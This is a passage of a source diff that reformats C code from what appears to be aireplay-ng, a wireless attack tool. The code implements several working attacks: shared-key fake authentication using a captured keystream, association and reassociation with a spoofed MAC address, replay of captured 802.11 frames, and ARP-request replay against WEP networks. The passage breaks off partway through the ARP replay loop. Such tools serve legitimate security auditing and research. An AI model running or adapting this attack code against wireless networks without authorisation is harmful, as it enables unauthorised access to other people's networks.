+					{
+						PCT;
+						printf("Specified xor file (-y) is too short, you need "
+							   "at least %d keystreambytes.\n",
+							   challengelen + 4);
+					}
+					else
+					{
+						PCT;
+						printf("You should specify a xor file (-y) with at "
+							   "least %d keystreambytes\n",
+							   challengelen + 4);
+					}
+					PCT;
+					printf("Trying fragmented shared key fake auth.\n");
+				}
+				PCT;
+				printf("Sending encrypted challenge.");
+				fflush(stdout);
+				gotack = 0;
+				gettimeofday(&tv2, NULL);
+
+				for (i = 0; i < x_send; i++)
+				{
+					if (keystreamlen < challengelen + 4)
+					{
+						packets = (challengelen) / (keystreamlen - 4);
+						if ((challengelen) % (keystreamlen - 4) != 0) packets++;
+
+						memcpy(h80211 + 24, challenge, challengelen);
+						h80211[24] = 0x01;
+						h80211[26] = 0x03;
+						send_fragments(h80211,
+									   challengelen + 24,
+									   iv,
+									   keystream,
+									   keystreamlen - 4,
+									   1);
+					}
+					else
+					{
+						add_icv(h80211, challengelen + 28, 28);
+						xor_keystream(h80211 + 28, keystream, challengelen + 4);
+						send_packet(h80211, 24 + 4 + challengelen + 4);
+					}
+
+					if (send_packet(ackbuf, 14) < 0) return (1);
+					usleep(10);
+
+					if (send_packet(ackbuf, 14) < 0) return (1);
+				}
+
+				break;
+
+			case 3:
+
+				/* waiting for an authentication response (using ska) */
+
+				if (time(NULL) - tt >= 2)
+				{
+					if (opt.npackets > 0)
+					{
+						tries++;
+
+						if (tries > 15)
+						{
+							abort = 1;
+						}
+					}
+					else
+					{
+						if (x_send < 256)
+						{
+							x_send *= 2;
+						}
+						else
+						{
+							abort = 1;
+						}
+					}
+
+					if (abort)
+					{
+						printf(
+							"\nAttack was unsuccessful. Possible reasons:\n\n"
+							"    * Perhaps MAC address filtering is enabled.\n"
+							"    * Check that the BSSID (-a option) is "
+							"correct.\n"
+							"    * Try to change the number of packets (-o "
+							"option).\n"
+							"    * The driver/card doesn't support injection.\n"
+							"    * This attack sometimes fails against some "
+							"APs.\n"
+							"    * The card is not on the same channel as the "
+							"AP.\n"
+							"    * You're too far from the AP. Get closer, or "
+							"lower\n"
+							"      the transmit rate.\n\n");
+						return (1);
+					}
+
+					state = 0;
+					challengelen = 0;
+					printf("\n");
+				}
+
+				break;
+
+			case 4:
+
+				tries = 0;
+				state = 5;
+				if (opt.npackets == -1) x_send *= 2;
+				tt = time(NULL);
+
+				/* attempt to associate */
+
+				memcpy(h80211, ASSOC_REQ, 28);
+				memcpy(h80211 + 4, opt.r_bssid, 6);
+				memcpy(h80211 + 10, opt.r_smac, 6);
+				memcpy(h80211 + 16, opt.r_bssid, 6);
+
+				n = strlen(opt.r_essid);
+				if (n > 32) n = 32;
+
+				h80211[28] = 0x00;
+				h80211[29] = n;
+
+				memcpy(h80211 + 30, opt.r_essid, n);
+				memcpy(h80211 + 30 + n, RATES, 16);
+				memcpy(h80211 + 24, capa, 2);
+
+				PCT;
+				printf("Sending Association Request");
+				fflush(stdout);
+				gotack = 0;
+
+				for (i = 0; i < x_send; i++)
+				{
+					if (send_packet(h80211, 46 + n) < 0) return (1);
+
+					usleep(10);
+
+					if (send_packet(ackbuf, 14) < 0) return (1);
+					usleep(10);
+
+					if (send_packet(ackbuf, 14) < 0) return (1);
+				}
+
+				break;
+
+			case 5:
+
+				/* waiting for an association response */
+
+				if (time(NULL) - tt >= 5)
+				{
+					if (x_send < 256 && (opt.npackets == -1)) x_send *= 4;
+
+					state = 0;
+					challengelen = 0;
+					printf("\n");
+				}
+
+				break;
+
+			case 6:
+
+				if (opt.a_delay == 0 && opt.reassoc == 0)
+				{
+					printf("\n");
+					return (0);
+				}
+
+				if (opt.a_delay == 0 && opt.reassoc == 1)
+				{
+					if (opt.npackets == -1) x_send = 4;
+					state = 7;
+					challengelen = 0;
+					break;
+				}
+
+				if (time(NULL) - tt >= opt.a_delay)
+				{
+					if (opt.npackets == -1) x_send = 4;
+					if (opt.reassoc == 1)
+						state = 7;
+					else
+						state = 0;
+					challengelen = 0;
+					break;
+				}
+
+				if (time(NULL) - tr >= opt.delay)
+				{
+					tr = time(NULL);
+					printf("\n");
+					PCT;
+					printf("Sending keep-alive packet");
+					fflush(stdout);
+					gotack = 0;
+
+					memcpy(h80211, NULL_DATA, 24);
+					memcpy(h80211 + 4, opt.r_bssid, 6);
+					memcpy(h80211 + 10, opt.r_smac, 6);
+					memcpy(h80211 + 16, opt.r_bssid, 6);
+
+					if (opt.npackets > 0)
+						kas = opt.npackets;
+					else
+						kas = 32;
+
+					for (i = 0; i < kas; i++)
+						if (send_packet(h80211, 24) < 0) return (1);
+				}
 
-    return( 0 );
+				break;
+
+			case 7:
+
+				/* sending reassociation request */
+
+				tries = 0;
+				state = 8;
+				if (opt.npackets == -1) x_send *= 2;
+				tt = time(NULL);
+
+				/* attempt to reassociate */
+
+				memcpy(h80211, REASSOC_REQ, 34);
+				memcpy(h80211 + 4, opt.r_bssid, 6);
+				memcpy(h80211 + 10, opt.r_smac, 6);
+				memcpy(h80211 + 16, opt.r_bssid, 6);
+
+				n = strlen(opt.r_essid);
+				if (n > 32) n = 32;
+
+				h80211[34] = 0x00;
+				h80211[35] = n;
+
+				memcpy(h80211 + 36, opt.r_essid, n);
+				memcpy(h80211 + 36 + n, RATES, 16);
+				memcpy(h80211 + 30, capa, 2);
+
+				PCT;
+				printf("Sending Reassociation Request");
+				fflush(stdout);
+				gotack = 0;
+
+				for (i = 0; i < x_send; i++)
+				{
+					if (send_packet(h80211, 52 + n) < 0) return (1);
+
+					usleep(10);
+
+					if (send_packet(ackbuf, 14) < 0) return (1);
+					usleep(10);
+
+					if (send_packet(ackbuf, 14) < 0) return (1);
+				}
+
+				break;
+
+			case 8:
+
+				/* waiting for a reassociation response */
+
+				if (time(NULL) - tt >= 5)
+				{
+					if (x_send < 256 && (opt.npackets == -1)) x_send *= 4;
+
+					state = 7;
+					challengelen = 0;
+					printf("\n");
+				}
+
+				break;
+
+			default:
+				break;
+		}
+
+		/* read one frame */
+
+		FD_ZERO(&rfds);
+		FD_SET(dev.fd_in, &rfds);
+
+		tv.tv_sec = 1;
+		tv.tv_usec = 0;
+
+		if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
+		{
+			if (errno == EINTR) continue;
+			perror("select failed");
+			return (1);
+		}
+
+		if (!FD_ISSET(dev.fd_in, &rfds)) continue;
+
+		caplen = read_packet(h80211, sizeof(h80211), NULL);
+
+		if (caplen < 0) return (1);
+		if (caplen == 0) continue;
+
+		if (caplen == 10 && h80211[0] == 0xD4)
+		{
+			if (memcmp(h80211 + 4, opt.r_smac, 6) == 0)
+			{
+				gotack++;
+				if (gotack == 1)
+				{
+					printf(" [ACK]");
+					fflush(stdout);
+				}
+			}
+		}
+
+		gettimeofday(&tv3, NULL);
+
+		// wait 100ms for acks
+		if ((((tv3.tv_sec * 1000000 - tv2.tv_sec * 1000000)
+			  + (tv3.tv_usec - tv2.tv_usec))
+			 > (100 * 1000))
+			&& (gotack > 0)
+			&& (gotack < packets)
+			&& (state == 3)
+			&& (packets > 1))
+		{
+			PCT;
+			printf("Not enough acks, repeating...\n");
+			state = 2;
+			continue;
+		}
+
+		if (caplen < 24) continue;
+
+		switch (h80211[1] & 3)
+		{
+			case 0:
+				mi_b = 16;
+				mi_s = 10;
+				mi_d = 4;
+				break;
+			case 1:
+				mi_b = 4;
+				mi_s = 10;
+				mi_d = 16;
+				break;
+			case 2:
+				mi_b = 10;
+				mi_s = 16;
+				mi_d = 4;
+				break;
+			default:
+				mi_b = 10;
+				mi_d = 16;
+				mi_s = 24;
+				break;
+		}
+
+		/* check if the dest. MAC is ours and source == AP */
+
+		if (memcmp(h80211 + mi_d, opt.r_smac, 6) == 0
+			&& memcmp(h80211 + mi_b, opt.r_bssid, 6) == 0
+			&& memcmp(h80211 + mi_s, opt.r_bssid, 6) == 0)
+		{
+			/* check if we got an deauthentication packet */
+
+			if (h80211[0] == 0xC0) // removed && state == 4
+			{
+				printf("\n");
+				PCT;
+				printf("Got a deauthentication packet! (Waiting %d seconds)\n",
+					   deauth_wait);
+				if (opt.npackets == -1) x_send = 4;
+				state = 0;
+				challengelen = 0;
+				read_sleep(deauth_wait * 1000000UL);
+				deauth_wait += 2;
+				continue;
+			}
+
+			/* check if we got an disassociation packet */
+
+			if (h80211[0] == 0xA0 && state == 6)
+			{
+				printf("\n");
+				PCT;
+				printf("Got a disassociation packet! (Waiting %d seconds)\n",
+					   deauth_wait);
+				if (opt.npackets == -1) x_send = 4;
+				state = 0;
+				challengelen = 0;
+				read_sleep(deauth_wait);
+				deauth_wait += 2;
+				continue;
+			}
+
+			/* check if we got an authentication response */
+
+			if (h80211[0] == 0xB0 && (state == 1 || state == 3))
+			{
+				if (ska)
+				{
+					if ((state == 1 && h80211[26] != 0x02)
+						|| (state == 3 && h80211[26] != 0x04))
+						continue;
+				}
+
+				printf("\n");
+				PCT;
+
+				state = 0;
+
+				if (caplen < 30)
+				{
+					printf("Error: packet length < 30 bytes\n");
+					read_sleep(3 * 1000000);
+					challengelen = 0;
+					continue;
+				}
+
+				if ((h80211[24] != 0 || h80211[25] != 0) && ska == 0)
+				{
+					ska = 1;
+					printf("Switching to shared key authentication\n");
+					read_sleep(2 * 1000000); // read sleep 2s
+					challengelen = 0;
+					continue;
+				}
+
+				n = h80211[28] + (h80211[29] << 8);
+
+				if (n != 0)
+				{
+					switch (n)
+					{
+						case 1:
+							printf("AP rejects the source MAC address "
+								   "(%02X:%02X:%02X:%02X:%02X:%02X) ?\n",
+								   opt.r_smac[0],
+								   opt.r_smac[1],
+								   opt.r_smac[2],
+								   opt.r_smac[3],
+								   opt.r_smac[4],
+								   opt.r_smac[5]);
+							break;
+
+						case 10:
+							printf("AP rejects our capabilities\n");
+							break;
+
+						case 13:
+						case 15:
+							ska = 1;
+							if (h80211[26] == 0x02)
+								printf(
+									"Switching to shared key authentication\n");
+							if (h80211[26] == 0x04)
+							{
+								printf("Challenge failure\n");
+								challengelen = 0;
+							}
+							read_sleep(2 * 1000000); // read sleep 2s
+							challengelen = 0;
+							continue;
+						default:
+							break;
+					}
+
+					printf("Authentication failed (code %d)\n", n);
+					if (opt.npackets == -1) x_send = 4;
+					read_sleep(3 * 1000000);
+					challengelen = 0;
+					continue;
+				}
+
+				if (ska && h80211[26] == 0x02 && challengelen == 0)
+				{
+					memcpy(challenge, h80211 + 24, caplen - 24);
+					challengelen = caplen - 24;
+				}
+				if (ska)
+				{
+					if (h80211[26] == 0x02)
+					{
+						state = 2; /* grab challenge */
+						printf("Authentication 1/2 successful\n");
+					}
+					if (h80211[26] == 0x04)
+					{
+						state = 4;
+						printf("Authentication 2/2 successful\n");
+					}
+				}
+				else
+				{
+					printf("Authentication successful\n");
+					state = 4; /* auth. done */
+				}
+			}
+
+			/* check if we got an association response */
+
+			if (h80211[0] == 0x10 && state == 5)
+			{
+				printf("\n");
+				state = 0;
+				PCT;
+
+				if (caplen < 30)
+				{
+					printf("Error: packet length < 30 bytes\n");
+					sleep(3);
+					challengelen = 0;
+					continue;
+				}
+
+				n = h80211[26] + (h80211[27] << 8);
+
+				if (n != 0)
+				{
+					switch (n)
+					{
+						case 1:
+							printf("Denied (code  1), is WPA in use ?\n");
+							break;
+
+						case 10:
+							printf("Denied (code 10), open (no WEP) ?\n");
+							break;
+
+						case 12:
+							printf("Denied (code 12), wrong ESSID or WPA ?\n");
+							break;
+
+						default:
+							printf("Association denied (code %d)\n", n);
+							break;
+					}
+
+					sleep(3);
+					challengelen = 0;
+					continue;
+				}
+
+				aid = (((h80211[29] << 8) != 0 || (h80211[28])) & 0x3FFF);
+				printf("Association successful :-) (AID: %d)\n", aid);
+				deauth_wait = 3;
+				fflush(stdout);
+
+				tt = time(NULL);
+				tr = time(NULL);
+
+				state = 6; /* assoc. done */
+			}
+
+			/* check if we got an reassociation response */
+
+			if (h80211[0] == 0x30 && state == 8)
+			{
+				printf("\n");
+				state = 7;
+				PCT;
+
+				if (caplen < 30)
+				{
+					printf("Error: packet length < 30 bytes\n");
+					sleep(3);
+					challengelen = 0;
+					continue;
+				}
+
+				n = h80211[26] + (h80211[27] << 8);
+
+				if (n != 0)
+				{
+					switch (n)
+					{
+						case 1:
+							printf("Denied (code  1), is WPA in use ?\n");
+							break;
+
+						case 10:
+							printf("Denied (code 10), open (no WEP) ?\n");
+							break;
+
+						case 12:
+							printf("Denied (code 12), wrong ESSID or WPA ?\n");
+							break;
+
+						default:
+							printf("Reassociation denied (code %d)\n", n);
+							break;
+					}
+
+					sleep(3);
+					challengelen = 0;
+					continue;
+				}
+
+				aid = (((h80211[29] << 8) != 0 || (h80211[28])) & 0x3FFF);
+				printf("Reassociation successful :-) (AID: %d)\n", aid);
+				deauth_wait = 3;
+				fflush(stdout);
+
+				tt = time(NULL);
+				tr = time(NULL);
+
+				state = 6; /* reassoc. done */
+			}
+		}
+	}
+
+	return (0);
 }
 
-int do_attack_interactive( void )
+static int do_attack_interactive(void)
 {
-    int caplen, n, z;
-    int mi_b, mi_s, mi_d;
-    struct timeval tv;
-    struct timeval tv2;
-    float f, ticks[3];
-    unsigned char bssid[6];
-    unsigned char smac[6];
-    unsigned char dmac[6];
+	int caplen, n;
+	int mi_b, mi_s, mi_d;
+	struct timeval tv;
+	struct timeval tv2;
+	float f, ticks[3];
+	unsigned char bssid[6];
+	unsigned char smac[6];
+	unsigned char dmac[6];
 
 read_packets:
 
-    if( capture_ask_packet( &caplen, 0 ) != 0 )
-        return( 1 );
+	if (capture_ask_packet(&caplen, 0) != 0) return (1);
 
-    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-        z+=2;
+	/* rewrite the frame control & MAC addresses */
 
-    /* rewrite the frame control & MAC addresses */
-
-    switch( h80211[1] & 3 )
-    {
-        case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
-        case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
-        case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
-        default: mi_b = 10; mi_d = 16; mi_s = 24; break;
-    }
+	switch (h80211[1] & 3)
+	{
+		case 0:
+			mi_b = 16;
+			mi_s = 10;
+			mi_d = 4;
+			break;
+		case 1:
+			mi_b = 4;
+			mi_s = 10;
+			mi_d = 16;
+			break;
+		case 2:
+			mi_b = 10;
+			mi_s = 16;
+			mi_d = 4;
+			break;
+		default:
+			mi_b = 10;
+			mi_d = 16;
+			mi_s = 24;
+			break;
+	}
 
-    if( memcmp( opt.r_bssid, NULL_MAC, 6 ) == 0 )
-        memcpy( bssid, h80211 + mi_b, 6 );
-    else
-        memcpy( bssid, opt.r_bssid, 6 );
-
-    if( memcmp( opt.r_smac , NULL_MAC, 6 ) == 0 )
-        memcpy( smac, h80211 + mi_s, 6 );
-    else
-        memcpy( smac, opt.r_smac, 6 );
-
-    if( memcmp( opt.r_dmac , NULL_MAC, 6 ) == 0 )
-        memcpy( dmac, h80211 + mi_d, 6 );
-    else
-        memcpy( dmac, opt.r_dmac, 6 );
+	if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0)
+		memcpy(bssid, h80211 + mi_b, 6);
+	else
+		memcpy(bssid, opt.r_bssid, 6);
+
+	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
+		memcpy(smac, h80211 + mi_s, 6);
+	else
+		memcpy(smac, opt.r_smac, 6);
+
+	if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
+		memcpy(dmac, h80211 + mi_d, 6);
+	else
+		memcpy(dmac, opt.r_dmac, 6);
 
-    if( opt.r_fctrl != -1 )
-    {
-        h80211[0] = opt.r_fctrl >>   8;
-        h80211[1] = opt.r_fctrl & 0xFF;
+	if (opt.r_fctrl != -1)
+	{
+		h80211[0] = opt.r_fctrl >> 8;
+		h80211[1] = opt.r_fctrl & 0xFF;
 
-        switch( h80211[1] & 3 )
-        {
-            case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
-            case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
-            case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
-            default: mi_b = 10; mi_d = 16; mi_s = 24; break;
-        }
-    }
+		switch (h80211[1] & 3)
+		{
+			case 0:
+				mi_b = 16;
+				mi_s = 10;
+				mi_d = 4;
+				break;
+			case 1:
+				mi_b = 4;
+				mi_s = 10;
+				mi_d = 16;
+				break;
+			case 2:
+				mi_b = 10;
+				mi_s = 16;
+				mi_d = 4;
+				break;
+			default:
+				mi_b = 10;
+				mi_d = 16;
+				mi_s = 24;
+				break;
+		}
+	}
 
-    memcpy( h80211 + mi_b, bssid, 6 );
-    memcpy( h80211 + mi_s, smac , 6 );
-    memcpy( h80211 + mi_d, dmac , 6 );
+	memcpy(h80211 + mi_b, bssid, 6);
+	memcpy(h80211 + mi_s, smac, 6);
+	memcpy(h80211 + mi_d, dmac, 6);
 
-    /* loop resending the packet */
+	/* loop resending the packet */
 
 	/* Check if airodump-ng is running. If not, print that message */
-    printf( "You should also start airodump-ng to capture replies.\n\n" );
+	printf("You should also start airodump-ng to capture replies.\n\n");
 
-    signal( SIGINT, sighandler );
-    ctrl_c = 0;
+	signal(SIGINT, sighandler);
+	ctrl_c = 0;
 
-    memset( ticks, 0, sizeof( ticks ) );
+	memset(ticks, 0, sizeof(ticks));
 
-    nb_pkt_sent = 0;
+	nb_pkt_sent = 0;
 
-    while( 1 )
-    {
-        if( ctrl_c )
-            goto read_packets;
+	while (1)
+	{
+		if (ctrl_c) goto read_packets;
 
-        /* wait for the next timer interrupt, or sleep */
+		/* wait for the next timer interrupt, or sleep */
 
-        if( dev.fd_rtc >= 0 )
-        {
-            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
-            {
-                perror( "read(/dev/rtc) failed" );
-                return( 1 );
-            }
-
-            ticks[0]++;
-            ticks[1]++;
-            ticks[2]++;
-        }
-        else
-        {
-            /* we can't trust usleep, since it depends on the HZ */
-
-            gettimeofday( &tv,  NULL );
-            usleep( 1000000/RTC_RESOLUTION );
-            gettimeofday( &tv2, NULL );
-
-            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
-                        + (float) ( tv2.tv_usec - tv.tv_usec );
-
-            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
-            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
-            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
-        }
-
-        /* update the status line */
-
-        if( ticks[1] > (RTC_RESOLUTION/10) )
-        {
-            ticks[1] = 0;
-            printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)));
-            fflush( stdout );
-        }
-
-        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 )
-            continue;
-
-        /* threshold reached */
-
-        ticks[2] = 0;
-
-        if( nb_pkt_sent == 0 )
-            ticks[0] = 0;
-
-        if( send_packet( h80211, caplen ) < 0 )
-            return( 1 );
-
-        if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent  )
-        {
-            if( send_packet( h80211, caplen ) < 0 )
-                return( 1 );
-        }
-    }
+		if (dev.fd_rtc >= 0)
+		{
+			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
+			{
+				perror("read(/dev/rtc) failed");
+				return (1);
+			}
+
+			ticks[0]++;
+			ticks[1]++;
+			ticks[2]++;
+		}
+		else
+		{
+			/* we can't trust usleep, since it depends on the HZ */
+
+			gettimeofday(&tv, NULL);
+			usleep(1000000 / RTC_RESOLUTION);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / (1000000 / RTC_RESOLUTION);
+			ticks[1] += f / (1000000 / RTC_RESOLUTION);
+			ticks[2] += f / (1000000 / RTC_RESOLUTION);
+		}
+
+		/* update the status line */
+
+		if (ticks[1] > RTC_RESOLUTION / 10)
+		{
+			ticks[1] = 0;
+			printf("\rSent %lu packets...(%d pps)",
+				   nb_pkt_sent,
+				   (int) ((double) nb_pkt_sent
+						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
+			fflush(stdout);
+			erase_line(0);
+			printf("\r");
+		}
+
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION < 1) continue;
+
+		/* threshold reached */
 
-    return( 0 );
+		ticks[2] = 0;
+
+		if (nb_pkt_sent == 0) ticks[0] = 0;
+
+		if (send_packet(h80211, caplen) < 0) return (1);
+
+		if (((double) ticks[0] / (double) RTC_RESOLUTION) * (double) opt.r_nbpps
+			> (double) nb_pkt_sent)
+		{
+			if (send_packet(h80211, caplen) < 0) return (1);
+		}
+	}
+
+	return (0);
 }
 
-int do_attack_arp_resend( void )
+static int do_attack_arp_resend(void)
 {
-    int nb_bad_pkt;
-    int arp_off1, arp_off2;
-    int i, n, caplen, nb_arp, z;
-    long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
-
-    time_t tc;
-    float f, ticks[3];
-    struct timeval tv;
-    struct timeval tv2;
-    struct tm *lt;
-
-    FILE *f_cap_out;
-    struct pcap_file_header pfh_out;
-    struct pcap_pkthdr pkh;
-    struct ARP_req * arp;
-
-    /* capture only WEP data to broadcast address */
-
-    opt.f_type    = 2;
-    opt.f_subtype = 0;
-    opt.f_iswep   = 1;
+	int nb_bad_pkt;
+	int arp_off1, arp_off2;
+	int i, n, caplen, nb_arp, z;
+	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
+
+	time_t tc;
+	float f, ticks[3];
+	struct timeval tv;
+	struct timeval tv2;
+	struct tm * lt;
+
+	FILE * f_cap_out;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
+	struct ARP_req * arp;
+
+	/* capture only WEP data to broadcast address */
+
+	opt.f_type = 2;
+	opt.f_subtype = 0;
+	opt.f_iswep = 1;
 
-    memset( opt.f_dmac, 0xFF, 6 );
+	memset(opt.f_dmac, 0xFF, 6);
 
-    if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 )
-    {
-        printf( "Please specify a source MAC (-h).\n" );
-        return( 1 );
-    }
+	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a source MAC (-h).\n");
+		return (1);
+	}
 
-    if(getnet(NULL, 1, 1) != 0)
-        return 1;
+	if (getnet(NULL, 1, 1) != 0) return 1;
 
-    /* create and write the output pcap header */
+	/* create and write the output pcap header */
 
-    gettimeofday( &tv, NULL );
+	gettimeofday(&tv, NULL);
 
-    pfh_out.magic         = TCPDUMP_MAGIC;
-    pfh_out.version_major = PCAP_VERSION_MAJOR;
-    pfh_out.version_minor = PCAP_VERSION_MINOR;
-    pfh_out.thiszone      = 0;
-    pfh_out.sigfigs       = 0;
-    pfh_out.snaplen       = 65535;
-    pfh_out.linktype      = LINKTYPE_IEEE802_11;
+	pfh_out.magic = TCPDUMP_MAGIC;
+	pfh_out.version_major = PCAP_VERSION_MAJOR;
+	pfh_out.version_minor = PCAP_VERSION_MINOR;
+	pfh_out.thiszone = 0;
+	pfh_out.sigfigs = 0;
+	pfh_out.snaplen = 65535;
+	pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+	lt = localtime((const time_t *) &tv.tv_sec);
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_arp-%02d%02d-%02d%02d%02d.cap",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
 
-    lt = localtime( (const time_t *) &tv.tv_sec );
+	printf("Saving ARP requests in %s\n", strbuf);
 
-    memset( strbuf, 0, sizeof( strbuf ) );
-    snprintf( strbuf,  sizeof( strbuf ) - 1,
-              "replay_arp-%02d%02d-%02d%02d%02d.cap",
-              lt->tm_mon + 1, lt->tm_mday,
-              lt->tm_hour, lt->tm_min, lt->tm_sec );
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		return (1);
+	}
 
-    printf( "Saving ARP requests in %s\n", strbuf );
+	n = sizeof(struct pcap_file_header);
 
-    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
-    {
-        perror( "fopen failed" );
-        return( 1 );
-    }
+	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed\n");
+		fclose(f_cap_out);
+		return (1);
+	}
 
-    n = sizeof( struct pcap_file_header );
+	fflush(f_cap_out);
 
-    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
-    {
-        perror( "fwrite failed\n" );
-        fclose( f_cap_out );
-        return( 1 );
-    }
+	printf("You should also start airodump-ng to capture replies.\n");
+
+	if (opt.port_in <= 0)
+	{
+		/* avoid blocking on reading the socket */
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			fclose(f_cap_out);
+			return (1);
+		}
+	}
 
-    fflush( f_cap_out );
+	if (opt.ringbuffer)
+		arp = (struct ARP_req *) malloc(opt.ringbuffer
+										* sizeof(struct ARP_req));
+	else
+		arp = (struct ARP_req *) malloc(sizeof(struct ARP_req));
+
+	memset(ticks, 0, sizeof(ticks));
+
+	tc = time(NULL) - 11;
+
+	nb_pkt_read = 0;
+	nb_bad_pkt = 0;
+	nb_ack_pkt = 0;
+	nb_arp = 0;
+	nb_arp_tot = 0;
+	arp_off1 = 0;
+	arp_off2 = 0;
 
-    printf( "You should also start airodump-ng to capture replies.\n" );
+	while (1)
+	{
+		/* sleep until the next clock tick */
 
-    if(opt.port_in <= 0)
-    {
-        /* avoid blocking on reading the socket */
-        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
-        {
-            perror( "fcntl(O_NONBLOCK) failed" );
-            fclose( f_cap_out );
-            return( 1 );
-        }
-    }
+		if (dev.fd_rtc >= 0)
+		{
+			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
+			{
+				perror("read(/dev/rtc) failed");
+				free(arp);
+				fclose(f_cap_out);
+				return (1);
+			}
+
+			ticks[0]++;
+			ticks[1]++;
+			ticks[2]++;
+		}
+		else
+		{
+			gettimeofday(&tv, NULL);
+			usleep(1000000 / RTC_RESOLUTION);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
+		}
 
-    if ( opt.ringbuffer )
-        arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) );
-    else
-        arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) );
-
-    memset( ticks, 0, sizeof( ticks ) );
-
-    tc = time( NULL ) - 11;
-
-    nb_pkt_read = 0;
-    nb_bad_pkt  = 0;
-    nb_ack_pkt  = 0;
-    nb_arp      = 0;
-    nb_arp_tot  = 0;
-    arp_off1    = 0;
-    arp_off2    = 0;
+		if (ticks[1] > (RTC_RESOLUTION / 10.f))
+		{
+			ticks[1] = 0;
+			printf("\rRead %ld packets (got %ld ARP requests and %ld ACKs), "
+				   "sent %lu packets...(%d pps)\r",
+				   nb_pkt_read,
+				   nb_arp_tot,
+				   nb_ack_pkt,
+				   nb_pkt_sent,
+				   (int) ((double) nb_pkt_sent
+						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
+			fflush(stdout);
+		}
 
-    while( 1 )
-    {
-        /* sleep until the next clock tick */
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
+		{
+			/* threshold reach, send one frame */
+
+			ticks[2] = 0;
+
+			if (nb_arp > 0)
+			{
+				if (nb_pkt_sent == 0) ticks[0] = 0;
+
+				if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
+				{
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
 
-        if( dev.fd_rtc >= 0 )
-        {
-            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
-            {
-                perror( "read(/dev/rtc) failed" );
-                free( arp );
-                fclose( f_cap_out );
-                return( 1 );
-            }
-
-            ticks[0]++;
-            ticks[1]++;
-            ticks[2]++;
-        }
-        else
-        {
-            gettimeofday( &tv,  NULL );
-            usleep( 1000000/RTC_RESOLUTION );
-            gettimeofday( &tv2, NULL );
-
-            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
-                        + (float) ( tv2.tv_usec - tv.tv_usec );
-
-            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
-            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
-            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
-        }
-
-        if( ticks[1] > (RTC_RESOLUTION/10) )
-        {
-            ticks[1] = 0;
-            printf( "\rRead %ld packets (got %ld ARP requests and %ld ACKs), "
-                    "sent %ld packets...(%d pps)\r",
-                    nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) );
-            fflush( stdout );
-        }
-
-        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 )
-        {
-            /* threshold reach, send one frame */
-
-            ticks[2] = 0;
-
-            if( nb_arp > 0 )
-            {
-                if( nb_pkt_sent == 0 )
-                    ticks[0] = 0;
-
-                if( send_packet( arp[arp_off1].buf,
